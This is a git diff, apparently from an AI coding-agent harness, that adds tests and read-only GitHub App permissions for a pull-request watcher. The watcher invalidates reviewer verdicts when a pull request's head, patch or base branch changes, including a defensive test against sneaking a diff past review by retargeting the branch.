Skip to content

The ultimate harness for coding agents and beyond. All your agents. All your machines. One command center. Start with code, then follow your curiosity and build across disciplines: CAD, circuits, robots, games and music.

Merge batch 11-06 k0500: #3218 (#3277)

0xken15e3a811a7188f
diff --git a/backend/integration/superTabPullRequestEvents.test.ts b/backend/integration/superTabPullRequestEvents.test.ts
index 55f77ec57..29088baca 100644
--- a/backend/integration/superTabPullRequestEvents.test.ts
+++ b/backend/integration/superTabPullRequestEvents.test.ts
@@ -19,7 +19,7 @@ let db: PrismaClient
const owner: AuthUser = { sub: '210000000000000000000001', email: '[email protected]', autonomousEnv: 'prod', role: 'user' }
const host: AuthUser = { sub: '210000000000000000000003', email: '[email protected]', autonomousEnv: 'prod', role: 'user' }
const config = { engine: 'codex', model: 'fixture-model', effort: 'high', contextWindow: 200000, engineVersion: 'fixture' }
-const HEAD = 'abc1234def5678'
+const HEAD = 'abc1234def5678abc1234def5678abc1234def56'
const MINUTE = 60_000
beforeAll(async () => {
@@ -45,12 +45,17 @@ afterAll(async () => {
function fakeReader() {
const pulls = new Map<string, PullRequestWatch>()
const asked: string[] = []
+ /** Each pull request's patch id, by head: what its files read at that head (pullRequestPatch.ts). */
+ const patches = new Map<string, string>()
+ const patchReads: string[] = []
const reader: PullRequestReader = {
watch: async url => { asked.push(url); return pulls.get(url) ?? null },
+ // A patch id names the base branch too (pullRequestPatch.ts): `HEAD@BASE` when a test sets one, else by head alone.
+ patch: async (url, head, base) => { patchReads.push(`${url}@${head}`); return patches.get(`${head}@${base}`) ?? patches.get(head) ?? null },
botLogin: async () => 'harness[bot]',
done: async () => {},
}
- return { pulls, asked, reader }
+ return { pulls, asked, patches, patchReads, reader }
}
/** Each Swarm's own pull request: a pass reads every Swarm in this database, and the others' are not this fake's. */
let pullNumbers = 100
@@ -77,12 +82,12 @@ async function swarm() {
const worker = await add(task, 'test-host', 'Worker')
const assignment = String((await execute({ type: 'work.assign', conversationId: task, agentId: worker })).result.assignmentId)
await execute({ type: 'work.status', conversationId: task, assignmentId: assignment, status: 'working', result: `Draft ${PR}` }, host, worker)
- const { pulls, asked, reader } = fakeReader()
+ const { pulls, asked, patches, patchReads, reader } = fakeReader()
const pass = async () => { now += MINUTE; return watchPullRequests(db, store, reader, now) }
/** The rows this feature wrote in [conversationId], oldest first. */
const told = async (conversationId = task) => (await db.superTabMessage.findMany({ where: { tabId: tab, conversationId }, orderBy: { sequence: 'asc' } }))
.filter(m => m.recipientIds.length > 0 && m.text.includes(PR))
- return { PR, number, pull, store, tab, execute, add, lead, task, worker, assignment, pulls, asked, reader, pass, told, clock: { get now() { return now }, advance(ms: number) { now += ms } } }
+ return { PR, number, pull, store, tab, execute, add, lead, task, worker, assignment, pulls, asked, patches, patchReads, reader, pass, told, clock: { get now() { return now }, advance(ms: number) { now += ms } } }
}
describe('pull request events', () => {
@@ -165,16 +170,24 @@ describe('pull request events', () => {
expect((row.data as { pullRequestEvents?: Record<string, string[]> }).pullRequestEvents?.[f.PR]).toContain(`conflict:${HEAD}`)
})
- it('a step and a finished task are not read', async () => {
+ // A done task is read for its heads (#3394: done before the PM merges it), and posts nothing; a step and a cancelled task
+ // are not read.
+ it('a step and a cancelled task are not read; a done task is, and posts nothing', async () => {
const f = await swarm()
const other = 'https://github.com/acme/app/pull/13'
await f.execute({ type: 'conversation.create', title: 'Review', reviewOf: f.task, step: 'Review', brief: `Review ${other}`,
checks: [{ description: 'Verdict', independent: false }] } as Command)
await f.execute({ type: 'work.status', conversationId: f.task, assignmentId: f.assignment, status: 'done', result: `Done ${f.PR}` }, host, f.worker)
+ f.pulls.set(f.PR, f.pull({ mergeable: false }))
+ const before = (await f.told()).length
await f.pass()
- // Other tests' Swarms are in this database too: this one's pull requests are the ones not asked about.
- expect(f.asked).not.toContain(f.PR)
+ expect(f.asked).toContain(f.PR)
expect(f.asked).not.toContain(other)
+ expect(await f.told()).toHaveLength(before)
+ const cancelled = await swarm()
+ await cancelled.execute({ type: 'work.cancel', conversationId: cancelled.task, assignmentId: cancelled.assignment, reason: 'Not needed' } as Command)
+ await cancelled.pass()
+ expect(cancelled.asked).not.toContain(cancelled.PR)
})
// ENGINEERING.md 4: no loop grows without a bound. A pass reads a capped number of tasks, the most recently active first.
@@ -184,7 +197,7 @@ describe('pull request events', () => {
// Other tests' tasks are in this database too: this one is made the most recently active.
f.clock.advance(60 * MINUTE)
await f.execute({ type: 'work.status', conversationId: f.task, assignmentId: f.assignment, status: 'working', result: `Still on ${f.PR}` }, host, f.worker)
- await watchPullRequests(db, f.store, f.reader, f.clock.now + MINUTE, 1)
+ await watchPullRequests(db, f.store, f.reader, f.clock.now + MINUTE, 1, 0)
expect(f.asked).toEqual([f.PR])
})
@@ -201,4 +214,213 @@ describe('pull request events', () => {
expect(line.pulls).toBeGreaterThanOrEqual(line.unreadable)
} finally { warn.mockRestore() }
})
+
+ // Dee, #3394: a verdict counts only at the head it read, or a head whose patch is the same.
+ describe('a verdict at a head', () => {
+ const reviewed = async () => {
+ const f = await swarm()
+ const HEAD2 = 'bbbbbbb2222222bbbbbbb2222222bbbbbbb22222', HEAD3 = 'ccccccc3333333ccccccc3333333ccccccc33333'
+ f.patches.set(HEAD, 'p1').set(HEAD2, 'p1').set(HEAD3, 'p2')
+ f.pulls.set(f.PR, f.pull())
+ await f.pass()
+ // A Reviewer passes the task's check; a Tester passes its own step's.
+ const reviewer = await f.add(f.task, 'test-host', 'Reviewer'), tester = await f.add(f.task, 'test-host', 'Tester')
+ const step = String((await f.execute({ type: 'conversation.create', title: 'Test', reviewOf: f.task, step: 'Test', brief: 'Test it',
+ checks: [{ description: 'Signs in', independent: true }] } as Command, host, f.worker)).result.conversationId)
+ await f.execute({ type: 'conversation.agent', conversationId: step, agentId: tester, present: true, lead: false })
+ const stepWork = String((await f.execute({ type: 'work.assign', conversationId: step, agentId: tester }, host, f.worker)).result.assignmentId)
+ const group = async (key: string) => (await db.swarmGroup.findFirstOrThrow({ where: { tabId: f.tab, key } })).data as unknown as
+ { checks: Array<{ id: string; passedBy: string | null; verdicts?: Array<{ head?: string; patch?: string; stale?: string }> }> }
+ const taskCheck = (await group(f.task)).checks[0]!.id, stepCheck = (await group(step)).checks[0]!.id
+ await f.execute({ type: 'work.check', conversationId: f.task, assignmentId: f.assignment, checkId: taskCheck, passed: true, evidence: 'Reads right', head: HEAD, base: 'main' } as Command, host, reviewer)
+ await f.execute({ type: 'work.check', conversationId: step, assignmentId: stepWork, checkId: stepCheck, passed: true, evidence: 'Signs in', head: HEAD, base: 'main' } as Command, host, tester)
+ const read = async () => [(await group(f.task)).checks[0]!, (await group(step)).checks[0]!]
+ return { f, HEAD2, HEAD3, step, read }
+ }
+
+ it('counts at its head, and its patch is read once a head', async () => {
+ const { f, read } = await reviewed()
+ for (const check of await read()) {
+ expect(check.passedBy).not.toBeNull()
+ expect(check.verdicts!.at(-1)).toMatchObject({ head: HEAD, patch: 'p1' })
+ }
+ await f.pass()
+ expect(f.patchReads).toEqual([`${f.PR}@${HEAD}`])
+ })
+
+ it('a same-patch rebase or main merge keeps it', async () => {
+ const { f, HEAD2, read } = await reviewed()
+ f.pulls.set(f.PR, f.pull({ head: HEAD2 }))
+ await f.pass()
+ for (const check of await read()) {
+ expect(check.passedBy).not.toBeNull()
+ expect(check.verdicts!.at(-1)!.stale).toBeUndefined()
+ }
+ })
+
+ it('a new commit makes it stale on the task and its step', async () => {
+ const { f, HEAD3, read } = await reviewed()
+ f.pulls.set(f.PR, f.pull({ head: HEAD3 }))
+ await f.pass()
+ for (const check of await read()) {
+ expect(check.passedBy).toBeNull()
+ expect(check.verdicts!.at(-1)).toMatchObject({ head: HEAD, stale: HEAD3 })
+ }
+ })
+
+ // Review of #3218 (Ledger), Important 1: an Engineer sets its task done before the PM merges it, and a done review step goes
+ // dormant after a quiet day; a push then must still stop their verdicts counting.
+ it('a new commit makes it stale on a done task, and on a dormant step', async () => {
+ const { f, HEAD3, step, read } = await reviewed()
+ await f.execute({ type: 'work.status', conversationId: f.task, assignmentId: f.assignment, status: 'done', result: `Ready to merge ${f.PR}` }, host, f.worker)
+ await db.swarmGroup.updateMany({ where: { tabId: f.tab, key: step }, data: { dormant: true } })
+ const before = (await f.told()).length
+ f.pulls.set(f.PR, f.pull({ head: HEAD3, mergeable: false }))
+ await f.pass()
+ for (const check of await read()) {
+ expect(check.passedBy).toBeNull()
+ expect(check.verdicts!.at(-1)).toMatchObject({ head: HEAD, stale: HEAD3 })
+ }
+ // Nothing is posted to an Engineer whose task is done, not even a merge conflict.
+ expect(await f.told()).toHaveLength(before)
+ })
+
+ // Review of #3218 (Ledger, round 2), Important 1: a task from before steps were listed, its review step dormant, and a done
+ // task quiet for over a week with its pull request still open.
+ it('a new commit makes it stale on a dormant step its task does not list, and on a done task quiet for a week', async () => {
+ const { f, HEAD3, step, read } = await reviewed()
+ await f.execute({ type: 'work.status', conversationId: f.task, assignmentId: f.assignment, status: 'done', result: `Ready to merge ${f.PR}` }, host, f.worker)
+ const row = await db.swarmGroup.findFirstOrThrow({ where: { tabId: f.tab, key: f.task } })
+ const { stepIds: _listed, ...legacy } = row.data as Record<string, unknown>
+ await db.swarmGroup.update({ where: { id: row.id }, data: { data: legacy as object, lastActivityAt: new Date(f.clock.now - 9 * 24 * 60 * MINUTE) } })
+ await db.swarmGroup.updateMany({ where: { tabId: f.tab, key: step }, data: { dormant: true } })
+ // Round 3, Important 1: a step opened before the first watch leaves the old dormant one to be looked up.
+ const later = String((await f.execute({ type: 'conversation.create', title: 'Docs', reviewOf: f.task, step: 'Docs', brief: 'Docs',
+ checks: [] } as Command, host, f.worker)).result.conversationId)
+ f.pulls.set(f.PR, f.pull({ head: HEAD3 }))
+ await f.pass()
+ for (const check of await read()) {
+ expect(check.passedBy).toBeNull()
+ expect(check.verdicts!.at(-1)).toMatchObject({ head: HEAD, stale: HEAD3 })
+ }
+ // The task lists its steps from now on, the old dormant one and the new one.
+ const listed = (await db.swarmGroup.findFirstOrThrow({ where: { tabId: f.tab, key: f.task } })).data as { stepIds?: string[] }
+ expect(listed.stepIds).toEqual(expect.arrayContaining([step, later]))
+ })
+
+ // Security review of #3218 (Warden2, round 3), Important 1: retarget to a branch with other code, push the same diff against
+ // it, retarget back. The base branch is part of the head's record: a new base reads the patch again, against that base.
+ it('a retargeted base reads the patch again, and a verdict never follows the same diff onto another branch', async () => {
+ const { f, read } = await reviewed()
+ const H = '1234567890abcdef1234567890abcdef12345678'
+ f.patches.set(`${HEAD}@evil`, 'p-evil').set(`${H}@evil`, 'p-evil').set(`${H}@main`, 'p-main-backdoor')
+ const reads = () => f.patchReads.filter(r => r.startsWith(`${f.PR}@`)).length
+ const before = reads()
+ f.pulls.set(f.PR, f.pull({ base: 'evil' }))
+ await f.pass()
+ expect(reads()).toBe(before + 1)
+ f.pulls.set(f.PR, f.pull({ base: 'evil', head: H }))
+ await f.pass()
+ f.pulls.set(f.PR, f.pull({ base: 'main', head: H }))
+ await f.pass()
+ expect(reads()).toBe(before + 3)
+ for (const check of await read()) expect(check.passedBy).toBeNull()
+ const kept = ((await db.swarmGroup.findFirstOrThrow({ where: { tabId: f.tab, key: f.task } })).data as { pullRequestHeads: Record<string, { base?: string }> }).pullRequestHeads
+ expect(kept[f.PR]).toMatchObject({ head: H, base: 'main', patch: 'p-main-backdoor' })
+ })
+
+ // Security review of #3218 (Warden2, round 4), Important 1: the same head against another base branch is another diff.
+ it('a verdict at its head stops counting when the pull request is retargeted, and counts again back on its base', async () => {
+ const { f, read } = await reviewed()
+ f.patches.set(`${HEAD}@evil`, 'p-evil')
+ f.pulls.set(f.PR, f.pull({ base: 'evil' }))
+ await f.pass()
+ for (const check of await read()) expect(check.passedBy).toBeNull()
+ f.patches.set(`${HEAD}@main`, 'p1')
+ f.pulls.set(f.PR, f.pull({ base: 'main' }))
+ await f.pass()
+ for (const check of await read()) expect(check.passedBy).not.toBeNull()
+ })
+
+ // Review of #3218 round 7 (Ledger): seen on main, retargeted to another branch while the review ran and back before the
+ // verdict came. No inferred base is the one read: a verdict naming none does not count; one naming its base counts on it.
+ it('after a round trip of retargets, a verdict counts only with the base it names', async () => {
+ const f = await swarm()
+ const X = '9999999999999999999999999999999999999999'
+ f.patches.set(`${X}@evil`, 'p-evil').set(`${X}@main`, 'p-main')
+ for (const base of ['main', 'evil', 'main']) {
+ f.pulls.set(f.PR, f.pull({ head: X, base }))
+ await f.pass()
+ }
+ const reviewer = await f.add(f.task, 'test-host', 'Reviewer')
+ const checkId = ((await db.swarmGroup.findFirstOrThrow({ where: { tabId: f.tab, key: f.task } })).data as { checks: Array<{ id: string }> }).checks[0]!.id
+ const check = (fields: Record<string, string>) => f.execute({ type: 'work.check', conversationId: f.task, assignmentId: f.assignment, checkId,
+ passed: true, evidence: 'Read it', ...fields } as Command, host, reviewer)
+ const unnamed = await check({ head: X })
+ expect(unnamed.result).toMatchObject({ counts: false })
+ expect(String(unnamed.result.next)).toContain('base')
+ expect(await check({ head: X, base: 'evil' })).toMatchObject({ result: { counts: false } })
+ expect(await check({ head: X, base: 'main' })).toMatchObject({ result: { counts: true } })
+ })
+
+ // Review of #3218 (Ledger, round 3), Important 2: links added later can move a reviewed pull request out of the watch;
+ // its head is then no longer read, so its verdicts stop counting, on the task and its steps, though no head was left.
+ it('a verdict stops counting once its pull request leaves the links watched', async () => {
+ const { f, step, read } = await reviewed()
+ const later = Array.from({ length: 50 }, (_, i) => `https://github.com/acme/app/pull/${8000 + f.number * 100 + i}`)
+ for (const [i, url] of later.entries()) f.pulls.set(url, { ...f.pull({ state: 'closed' }), url, number: 8000 + i })
+ await f.execute({ type: 'work.status', conversationId: f.task, assignmentId: f.assignment, status: 'working', result: later.join(' ') }, host, f.worker)
+ await db.swarmGroup.updateMany({ where: { tabId: f.tab, key: step }, data: { dormant: true } })
+ await f.pass()
+ for (const check of await read()) expect(check.passedBy).toBeNull()
+ const kept = ((await db.swarmGroup.findFirstOrThrow({ where: { tabId: f.tab, key: f.task } })).data as { pullRequestHeads?: object }).pullRequestHeads
+ expect(kept).toEqual({})
+ })
+
+ // Review of #3218 (Ledger, round 2), Important 2: past HEADS_KEPT open pull requests, unchanged heads keep their patches.
+ it('keeps every patch across passes for a task linking more pull requests than it keeps heads of', async () => {
+ const f = await swarm()
+ const links = Array.from({ length: 52 }, (_, i) => `https://github.com/acme/app/pull/${9000 + f.number * 100 + i}`)
+ await f.execute({ type: 'work.status', conversationId: f.task, assignmentId: f.assignment, status: 'working', result: links.join(' ') }, host, f.worker)
+ for (const [i, url] of links.entries()) {
+ const head = (i + 1).toString(16).padStart(40, '0')
+ f.pulls.set(url, { ...f.pull({ head }), url, number: 9000 + i })
+ f.patches.set(head, `p${i}`)
+ }
+ for (let pass = 0; pass < 3; pass++) await f.pass()
+ const heads = ((await db.swarmGroup.findFirstOrThrow({ where: { tabId: f.tab, key: f.task } })).data as { pullRequestHeads: Record<string, { patch: string | null }> }).pullRequestHeads
+ expect(Object.keys(heads)).toHaveLength(50)
+ expect(Object.values(heads).filter(h => h.patch === null)).toEqual([])
+ // Each kept head's patch was read once, in the first pass.
+ expect(f.patchReads.filter(r => links.some(url => r.startsWith(`${url}@`)))).toHaveLength(50)
+ })
+
+ // Review of #3218 (Ledger), Important 5: a patch GitHub could not give is told in the pass's line, and read again later.
+ it('a patch it could not read is counted in the pass line, and read again after a while', async () => {
+ const { f, read } = await reviewed()
+ const NEXT = 'eeeeeee5555555eeeeeee5555555eeeeeee55555'
+ const warn = vi.spyOn(logger, 'warn')
+ try {
+ f.pulls.set(f.PR, f.pull({ head: NEXT }))
+ await f.pass()
+ const line = warn.mock.calls.find(call => call[0] === '[swarm-pr-events] pass')?.[1] as { unpatched?: number } | undefined
+ expect(line?.unpatched).toBeGreaterThanOrEqual(1)
+ } finally { warn.mockRestore() }
+ // GitHub answers later with the reviewed patch: the head's patch is learned and the verdicts count again.
+ f.patches.set(NEXT, 'p1')
+ await f.pass()
+ expect(f.patchReads.filter(r => r.endsWith(NEXT))).toHaveLength(1)
+ f.clock.advance(15 * MINUTE)
+ await f.pass()
+ expect(f.patchReads.filter(r => r.endsWith(NEXT))).toHaveLength(2)
+ for (const check of await read()) expect(check.passedBy).not.toBeNull()
+ })
+
+ it('a head whose patch cannot be read counts only verdicts at that very head', async () => {
+ const { f, read } = await reviewed()
+ f.pulls.set(f.PR, f.pull({ head: 'ddddddd4444444ddddddd4444444ddddddd44444' }))
+ await f.pass()
+ for (const check of await read()) expect(check.passedBy).toBeNull()
+ })
+ })
})
diff --git a/backend/integration/superTabReviewSteps.test.ts b/backend/integration/superTabReviewSteps.test.ts
index bb3f347ba..017aae143 100644
--- a/backend/integration/superTabReviewSteps.test.ts
+++ b/backend/integration/superTabReviewSteps.test.ts
@@ -68,6 +68,11 @@ describe('a Ready through the store', () => {
const steps = await stepsIn(tab, task)
expect(steps.map(step => step.step).sort()).toEqual(['Security review 1', 'Security review 2'])
expect(steps.map(step => step.assignment?.agentId).sort()).toEqual([...reviewers].sort())
+ // #3394 (review of #3218 after the merge): its task lists the steps it opened, so a new pull request head re-derives their
+ // checks even once they are dormant.
+ const listed = ((await db.swarmGroup.findFirstOrThrow({ where: { tabId: tab, key: task } })).data as { stepIds?: string[] }).stepIds
+ const opened = (await db.swarmGroup.findMany({ where: { tabId: tab } })).filter(row => (row.data as { reviewOf?: string }).reviewOf === task).map(row => row.key)
+ expect([...listed ?? []].sort()).toEqual(opened.sort())
})
it('plans by the project\'s saved rules record', async () => {
diff --git a/backend/integration/workerIndexPlans.test.ts b/backend/integration/workerIndexPlans.test.ts
index 15e633393..809d92be5 100644
--- a/backend/integration/workerIndexPlans.test.ts
+++ b/backend/integration/workerIndexPlans.test.ts
@@ -279,8 +279,8 @@ describe('the pull request watch', () => {
group(NOW - 3 * 3_600_000), group(NOW - 2 * 3_600_000), group(NOW - 3_600_000, { data: { reviewOf: 'g1' } }), group(NOW - 60_000),
] })
const asked: string[] = []
- const reader = { watch: async (url: string) => { asked.push(url); return null }, botLogin: async () => null, done: async () => {} }
- const entries = await profiled(db, () => watchPullRequests(db, { pullRequestSeen: async () => 0 }, reader, NOW, 2))
+ const reader = { watch: async (url: string) => { asked.push(url); return null }, patch: async () => null, botLogin: async () => null, done: async () => {} }
+ const entries = await profiled(db, () => watchPullRequests(db, { pullRequestSeen: async () => 0, pullRequestHeadsWatched: async () => false }, reader, NOW, 2, 0))
expect(asked).toEqual(['https://github.com/acme/app/pull/44', 'https://github.com/acme/app/pull/42'])
const rows = reads(entries, 'SwarmGroup', ['workFinished', 'lastActivityAt'])
expect(rows, JSON.stringify(plan(rows))).toHaveLength(1)
@@ -289,6 +289,68 @@ describe('the pull request watch', () => {
})
})
+// #3394: done tasks are read too, for their pull requests' heads, by the same index with workFinished true, at any age: a pull
+// request left open must still make their verdicts stale (review of #3218, round 2).
+describe('the pull request watch of done tasks', () => {
+ it('reads the done tasks of any age by the finished mark index, the newest first, capped', async () => {
+ const { watchPullRequests } = await import('../src/superTabs/pullRequestEvents.js')
+ let n = 0
+ const group = (activeAt: number, status: string, workFinished = true) => {
+ const key = `d${++n}`
+ return { id: `tab-d:${key}`, tabId: 'tab-d', key, version: 1, changedAt: new Date(NOW), ordinal: n, agentIds: [], lastActivityAt: new Date(activeAt),
+ workFinished, data: { pullRequestUrls: [`https://github.com/acme/done/pull/${n}`], assignment: { status } } }
+ }
+ // Done work quiet for a month, read last; open work, which the other read takes.
+ await db.swarmGroup.createMany({ data: [
+ ...Array.from({ length: 20 }, () => group(NOW - 30 * DAY, 'done')), ...Array.from({ length: 5 }, () => group(NOW - DAY, 'working', false)),
+ group(NOW - 3 * 3_600_000, 'done'), group(NOW - 2 * 3_600_000, 'cancelled'), group(NOW - 60_000, 'done'),
+ ] })
+ const asked: string[] = []
+ const reader = { watch: async (url: string) => { asked.push(url); return null }, patch: async () => null, botLogin: async () => null, done: async () => {} }
+ const entries = await profiled(db, () => watchPullRequests(db, { pullRequestSeen: async () => 0, pullRequestHeadsWatched: async () => false }, reader, NOW, 0, 5))
+ const done = asked.filter(url => url.includes('/done/'))
+ expect(done.slice(0, 2)).toEqual(['https://github.com/acme/done/pull/28', 'https://github.com/acme/done/pull/26'])
+ expect(done).toHaveLength(5)
+ const rows = reads(entries, 'SwarmGroup', ['workFinished', 'archived'])
+ expect(rows, JSON.stringify(plan(rows))).toHaveLength(1)
+ expect(rows[0]!.planSummary, JSON.stringify(plan(rows))).toMatch(/IXSCAN \{ workFinished: 1, archived: 1, lastActivityAt: 1/)
+ // Only finished, unarchived groups are examined (other tests' too, as the read spans Swarms), newest first until the cap;
+ // the cancelled one among them is filtered. Production had 51 of them in all (2026-11-05).
+ const finished = await db.swarmGroup.count({ where: { workFinished: true, archived: false } })
+ expect(rows[0]!.docsExamined, JSON.stringify(plan(rows))).toBeLessThanOrEqual(finished)
+ expect(rows[0]!.docsExamined, JSON.stringify(plan(rows))).toBeLessThanOrEqual(30)
+ // Reads that span Swarms in later tests (the merge train's) must not see these.
+ await db.swarmGroup.deleteMany({ where: { tabId: 'tab-d' } })
+ })
+})
+
+// #3394, review of #3218 round 2: a task from before steps were listed looks up its dormant steps once, by the awake-groups
+// index's tabId, dormant and deleted: a Swarm's dormant groups are examined, never its awake ones or other Swarms'.
+describe('the dormant steps of a task that lists none', () => {
+ it('are read by tabId, dormant and deleted', async () => {
+ const { listedSteps } = await import('../src/superTabs/pullRequestEvents.js')
+ let n = 0
+ const group = (dormant: boolean, data: Record<string, unknown>, tabId = 'tab-s') => {
+ const key = `s${++n}`
+ return { id: `${tabId}:${key}`, tabId, key, version: 1, changedAt: new Date(NOW), ordinal: n, agentIds: [], lastActivityAt: new Date(NOW), dormant, data }
+ }
+ await db.swarmGroup.createMany({ data: [
+ ...Array.from({ length: 3 }, () => group(true, { reviewOf: 'task-s' })), ...Array.from({ length: 4 }, () => group(true, {})),
+ ...Array.from({ length: 20 }, () => group(false, { reviewOf: 'task-s' })), ...Array.from({ length: 20 }, () => group(true, { reviewOf: 'task-s' }, 'tab-other')),
+ ] })
+ const entries = await profiled(db, async () => {
+ const listed = await listedSteps(db, [{ tabId: 'tab-s', key: 'task-s' }])
+ expect(listed.get('tab-s:task-s')).toEqual(['s1', 's2', 's3'])
+ })
+ const rows = reads(entries, 'SwarmGroup', ['dormant', 'data.reviewOf'])
+ expect(rows, JSON.stringify(plan(rows))).toHaveLength(1)
+ expect(rows[0]!.planSummary, JSON.stringify(plan(rows))).toMatch(/IXSCAN \{ tabId: 1, dormant: 1, deleted: 1/)
+ // This Swarm's dormant groups only: its 3 steps and 4 other dormant groups.
+ expect(rows[0]!.docsExamined, JSON.stringify(plan(rows))).toBeLessThanOrEqual(7)
+ await db.swarmGroup.deleteMany({ where: { tabId: { in: ['tab-s', 'tab-other'] } } })
+ })
+})
+
// Task #3402: the merge train reads unarchived tasks that link a pull request, done ones included, through the same finished
// mark index: both marks of its first field, archived false, then the activity range, newest first and capped.
describe('the merge train\'s candidates', () => {
diff --git a/backend/src/github/app.test.ts b/backend/src/github/app.test.ts
index b35046f76..b6bd0405c 100644
--- a/backend/src/github/app.test.ts
+++ b/backend/src/github/app.test.ts
@@ -1,6 +1,6 @@
import { createPublicKey, generateKeyPairSync, verify } from 'node:crypto'
import { describe, expect, it, vi } from 'vitest'
-import { ACTIONS_READ_PERMISSIONS, CI_LOAD_TTL_MS, CI_MAX_CALLS, CI_MAX_RUNS, CI_READS_PER_HOUR, CI_STALE_MS, SERVER_PROCESSES_MAX, cacheSecret, githubAppConfig, GitHubAppError, PULL_READ_PERMISSIONS, PULL_WATCH_PERMISSIONS, readPrivateKey, TOKEN_PERMISSIONS } from './app.js'
+import { ACTIONS_READ_PERMISSIONS, CI_LOAD_TTL_MS, CI_MAX_CALLS, CI_MAX_RUNS, CI_READS_PER_HOUR, CI_STALE_MS, SERVER_PROCESSES_MAX, cacheSecret, githubAppConfig, GitHubAppError, PULL_PATCH_PERMISSIONS, PULL_READ_PERMISSIONS, PULL_WATCH_PERMISSIONS, readPrivateKey, TOKEN_PERMISSIONS } from './app.js'
import { FAKE_API, fakeApp, fakeGitHub, throwawayKey } from './fakeGitHub.js'
import { githubRepository } from './repository.js'
import { GitHubApp, HARNESS_CO_AUTHOR } from './app.js'
@@ -592,7 +592,7 @@ describe('listing a pull request\'s files', () => {
describe('watching a pull request', () => {
const HEAD = 'abc1234def5678'
const seed = (github: ReturnType<typeof fakeGitHub>) => {
- github.pulls.set('acme/app#12', { state: 'open', merged_at: null, draft: false, head: { sha: HEAD }, base: { ref: 'main' }, mergeable: false,
+ github.pulls.set('acme/app#12', { state: 'open', merged_at: null, draft: false, head: { sha: HEAD }, base: { ref: 'main', sha: 'base000' }, mergeable: false,
html_url: 'https://github.com/acme/app/pull/12' })
github.checkRuns.set(`acme/app@${HEAD}`, [{ name: 'build', status: 'completed', conclusion: 'failure', completed_at: '2026-10-24T11:59:00Z' },
{ name: 'lint', status: 'in_progress', conclusion: null, completed_at: null }])
@@ -646,6 +646,40 @@ describe('watching a pull request', () => {
expect((await app.watchPullRequest(repo, 12, token))!.comments.map(c => c.id)).toContain(251)
})
+ // Review of #3218 (Ledger, round 3), Important 3: listed files, removed ones above all, cannot be tied to a head (a push and a
+ // push back between reads). A head's patch is read from the comparison of the base and head commits the pull request named
+ // in one answer: two fixed commits, which no push changes.
+ it('reads a head\'s files from the comparison of the base and head it named, with a contents-read token', async () => {
+ const { app, github } = setup()
+ expect(PULL_PATCH_PERMISSIONS).toEqual({ contents: 'read', pull_requests: 'read', metadata: 'read' })
+ const { token } = await app.createToken(77, repo, PULL_PATCH_PERMISSIONS)
+ const head = 'd7b66b0167e16c82bd73fbc61645e691742fa10e', base = 'd908300eaf1e6f81a2ec6c8076acca81857954ae'
+ github.pulls.set('acme/app#12', { state: 'open', merged_at: null, draft: false, head: { sha: head }, base: { ref: 'main', sha: base }, mergeable: true,
+ html_url: 'https://github.com/acme/app/pull/12' })
+ github.compares.set(`acme/app@${base}...${head}`, [
+ { filename: 'a.ts', status: 'modified', sha: 's', patch: '@@ -1 +1 @@\n-a\n+b' },
+ { filename: 'backend/src/superTabs/pmFooting.ts', status: 'removed', sha: 'c436dc29cf000d6376014bc78faa3fb77d3555bf', patch: '@@ -1 +0,0 @@\n-x' }])
+ // The base branch the comparison was against comes with the files (security review of #3218, round 3).
+ expect(await app.pullRequestPatchFiles(repo, 12, token, head)).toEqual({ base: 'main', files: [
+ { filename: 'a.ts', status: 'modified', sha: 's', patch: '@@ -1 +1 @@\n-a\n+b' },
+ { filename: 'backend/src/superTabs/pmFooting.ts', status: 'removed', sha: 'c436dc29cf000d6376014bc78faa3fb77d3555bf', patch: '@@ -1 +0,0 @@\n-x' }] })
+ expect(github.calls.slice(-2).map(c => c.path)).toEqual(['/repos/acme/app/pulls/12', `/repos/acme/app/compare/${base}...${head}`])
+ })
+
+ it('reads no files for a head the pull request no longer names, a comparison GitHub cannot give, or one at its file cap', async () => {
+ const { app, github } = setup()
+ const { token } = await app.createToken(77, repo, PULL_PATCH_PERMISSIONS)
+ const head = 'a'.repeat(40), base = 'b'.repeat(40)
+ github.pulls.set('acme/app#12', { state: 'open', merged_at: null, draft: false, head: { sha: head }, base: { ref: 'main', sha: base }, mergeable: true,
+ html_url: 'https://github.com/acme/app/pull/12' })
+ expect(await app.pullRequestPatchFiles(repo, 12, token, head)).toBeNull()
+ github.compares.set(`acme/app@${base}...${head}`, [{ filename: 'a.ts', status: 'modified', sha: 's', patch: '@@ -1 +1 @@\n-a\n+b' }])
+ expect(await app.pullRequestPatchFiles(repo, 12, token, 'c'.repeat(40))).toBeNull()
+ expect((await app.pullRequestPatchFiles(repo, 12, token, head))?.files).toHaveLength(1)
+ github.compares.set(`acme/app@${base}...${head}`, Array.from({ length: 300 }, (_, i) => ({ filename: `f${i}.ts`, status: 'added', sha: `s${i}` })))
+ expect(await app.pullRequestPatchFiles(repo, 12, token, head)).toBeNull()
+ })
+
it('answers null when GitHub cannot say', async () => {
const { app, github } = setup()
const { token } = await app.createToken(77, repo, PULL_WATCH_PERMISSIONS)
diff --git a/backend/src/github/app.ts b/backend/src/github/app.ts
index adc761102..c4e591b10 100644
--- a/backend/src/github/app.ts
+++ b/backend/src/github/app.ts
@@ -10,6 +10,7 @@ import { createPrivateKey, hkdfSync, sign, type KeyObject } from 'node:crypto'
import { readPushOrigin, type GitHubRead, type PushOrigin } from './pushOrigin.js'
import { githubRepository, type GitHubRepository } from './repository.js'
import type { PullRequestWatch } from '../superTabs/pullRequestEvents.js'
+import type { PullRequestFile } from '../superTabs/pullRequestPatch.js'
/** What a Swarm agent's token may do, and nothing more: push to and read the repository, open and update pull requests,
* and read checks and workflow runs to see whether its pull request passes. */
@@ -40,11 +41,27 @@ export const PUSH_ORIGIN_PERMISSIONS = { contents: 'read', pull_requests: 'read'
* pull request's files. */
export const RELEASE_READ_PERMISSIONS = { contents: 'read', pull_requests: 'read', actions: 'read', metadata: 'read' } as const
export const PULL_WATCH_PERMISSIONS = { pull_requests: 'read', checks: 'read', metadata: 'read' } as const
+/** What reading a pull request head's patch may do (superTabs/pullRequestPatch.ts, #3394): read the pull request, and the
+ * comparison of its base and head commits, which is repository contents. Read only, revoked when the watch's pass ends. */
+export const PULL_PATCH_PERMISSIONS = { contents: 'read', pull_requests: 'read', metadata: 'read' } as const
/** The watch's answers kept for conditional reads: an unchanged one comes back 304, which GitHub's rate limit does not count. */
const WATCH_KEPT = 2000
+/** The most files GitHub gives for a comparison of two commits (GET /compare/{base}...{head}). */
+export const COMPARE_FILES_MAX = 300
/** Pages of 100 a pull request's file list reads: GitHub lists at most 3,000 files. */
